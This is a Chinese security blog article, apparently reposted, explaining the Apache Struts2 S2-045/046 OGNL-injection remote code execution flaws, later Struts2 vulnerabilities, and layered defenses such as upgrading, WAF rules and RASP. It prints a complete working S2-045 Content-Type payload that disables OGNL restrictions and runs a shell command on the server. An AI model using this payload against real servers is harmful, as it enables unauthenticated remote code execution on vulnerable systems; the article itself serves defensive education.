文章总结: 本文深入解析Struts2S2-045/046漏洞原理,指出其利用异常处理流程中的OGNL注入实现远程代码执行。回顾了Struts2后续漏洞演进,强调架构层面的安全债务难根除。建议升级版本、部署WAF与RASP,并指出迁移至现代框架是解决历史包袱的最终方案。 综合评分: 90 文章分类: 漏洞分析,WEB安全,应用安全,漏洞预警,安全建设
安全小知识-第二十三期_Struts2的“幽灵漏洞”:S2-045/046为何至今仍有警醒意义?
原创
今木安全 今木安全
今木安全
2026年2月6日 11:30 上海
看似无懈可击的异常处理流程,却成为攻击者直通系统核心的大门。
最近在整理历史高危漏洞档案时,Struts2 S2-045和S2-046这两个名字再次引起了我的注意。虽然它们爆发于2017年,距今已有数年,但回顾其原理和影响,不禁让人深思——这类漏洞的幽灵,是否仍在某些系统中徘徊?
今天,我们就来深度解析这两个漏洞,并沿着时间线看看Struts2后续的安全之路。
01 幽灵之门:异常处理中的致命疏忽
2017年3月,Apache Struts2爆发高危远程代码执行漏洞,编号S2-045(CVE-2017-5638),紧接着其变种S2-046被发现。一时间,全球大量使用Struts2框架的网站面临严重威胁。
这两个漏洞的独特之处在于攻击向量——它们并不攻击正常的业务逻辑,而是攻击系统的异常处理机制。
想象一下,大楼的消防通道本应是紧急逃生路径,但如果有人在通道门锁上做手脚,这条通道反而会成为入侵者的入口。S2-045/046正是利用了这样的“安全后门”。
异常处理链的脆弱环节:
Struts2的文件上传模块使用Jakarta Multipart解析器处理上传请求。当解析器遇到格式错误时会抛出异常,这本是正常的错误处理机制。
问题在于,框架在生成错误信息时,直接将异常信息(包含用户输入)传递给 LocalizedTextUtil.findText()方法进行国际化处理。
这个方法支持OGNL表达式解析,而OGNL正是Struts2的核心表达式语言,拥有强大的功能——包括执行任意代码。
02 双重攻击向量:一扇门,两把锁
S2-045和S2-046本质上是同一个漏洞的不同触发方式,就像攻击同一栋建筑的两个不同入口。
S2-045的攻击路径:
攻击者只需在HTTP请求的Content-Type头部注入恶意OGNL表达式,如:
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
当解析器尝试解析这个畸形的Content-Type值时,会抛出异常,而异常信息中的OGNL表达式却被执行了。
S2-046的两种变体:
- 在
Content-Disposition头的filename参数中注入OGNL表达式 - 发送超大的Content-Length值(>2GB)触发异常
两种方式最终都导向同一个结果:恶意OGNL表达式在服务器上执行。
03 漏洞的恐怖之处:零门槛的武器化
S2-045/046之所以引起巨大震动,源于几个关键特性:
- 无需身份认证:任何能向目标发送HTTP请求的人均可利用
- 无需特殊配置:默认安装的Struts2即可被攻击
- 利用简单:一个精心构造的curl命令即可完成攻击
- 影响广泛:当时全球约有65%的企业Java应用使用Struts2,包括金融、政府、互联网等关键领域
这使得漏洞迅速被武器化,出现了大量自动化攻击工具,甚至被集成到Metasploit等渗透测试框架中。
04 Struts2的后续漏洞演进
Struts2的安全问题并未在2017年结束。后续几年,仍有相关漏洞被披露,虽然影响范围和利用难度有所变化,但根源往往相似——OGNL表达式的滥用。
S2-057 (CVE-2018-11776) – 2018年
• 漏洞本质:当Struts2的配置中alwaysSelectFullNamespace为true,且action元素未设置namespace属性或使用通配符配置时,攻击者可通过URL注入OGNL表达式
• 影响范围:Struts 2.3 – 2.3.34, 2.5 – 2.5.16
• 关键点:需要特定配置条件,不像S2-045那样默认即可利用
S2-059 (CVE-2019-0230) – 2019年
• 漏洞本质:在Struts2标签属性中对用户输入过滤不严,导致OGNL表达式注入
• 影响范围:Struts 2.0.0 – 2.5.20
• 特点:攻击场景更为有限,需要应用本身使用了特定的Struts2标签
S2-062 (CVE-2022-1021) – 2023年披露
• 这是目前最新公开的Struts2高危漏洞之一
• 影响版本:Struts 2.0.0 – 2.5.29
• 原理:对某些标签属性的OGNL表达式执行限制可被绕过
• 现状:已有多份攻击报告,但利用需要特定条件
演进趋势分析:
从S2-045到最新漏洞,可以看到一个明显趋势:Struts2开发团队在不断收紧OGNL的执行限制,但由于框架架构的历史包袱,完全杜绝OGNL问题极其困难。后续漏洞虽然利用条件越来越苛刻,但依然存在。
05 为什么这类漏洞难以根除?
Struts2的OGNL设计是典型的“功能强大但风险极高”的案例:
- 深度集成:OGNL贯穿Struts2的数据流转、表达式计算、标签渲染等多个核心模块
- 历史代码的惯性:早期版本对安全性考虑不足,后期修补往往“打补丁”,难以彻底重构
- 灵活性vs安全性的永恒矛盾:为了开发便利而保留的强大功能,往往成为安全漏洞的源泉
这种架构层面的安全债务,使得Struts2即使用户升级到最新版本,也难以完全消除风险。
06 防御体系:多层次防护策略
对于仍在使用或考虑使用Struts2的团队,建议建立以下防护体系:
1. 基础防护(必须做)
• 保持框架最新:立即升级到Struts 2.5.30+或更高版本
• 最小化OGNL能力:在struts.xml中严格限制OGNL表达式执行
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
2. 运行时防护(增强防护)
• WAF规则:部署针对OGNL关键字符(#、%、_memberAccess等)的拦截规则
• RASP防护:在应用层植入运行时安全保护,实时阻断OGNL表达式执行
3. 开发规范(长期建设)
• 禁用高危功能:除非必要,避免使用Struts2的OGNL表达式功能
• 输入验证标准化:对所有用户输入实施严格的白名单验证
• 安全代码审查:重点关注异常处理流程中的用户输入处理
4. 监控应急(最后防线)
• 异常请求监控:特别关注包含OGNL特征字符的请求
• 应急响应流程:建立漏洞应急流程,确保发现漏洞后能快速响应
时至今日,S2-045/046已不是技术前沿,但它留给我们的教训依旧深刻。 这个漏洞揭示了一个残酷事实:在安全领域,没有经过严格审查的代码路径都可能成为攻击面,即使是错误处理这样的“边缘逻辑”。
当年受影响的某金融机构安全负责人曾感叹:“我们通过了所有安全认证,却倒在了一个异常处理上。”这提醒我们,真正的安全防护需要纵深、全面,不能有任何盲区。
Struts2的漏洞演进史,像一面镜子,映照出第三方组件安全管理的挑战。那些历史上欠下的“安全债务”,总会在某个时刻要求偿还。或许对许多企业来说,逐步迁移到更现代的框架,才是彻底摆脱这类历史包袱的最终答案。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:今木安全 今木安全 今木安全《安全小知识-第二十三期_Struts2的“幽灵漏洞”:S2-045/046为何至今仍有警醒意义?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论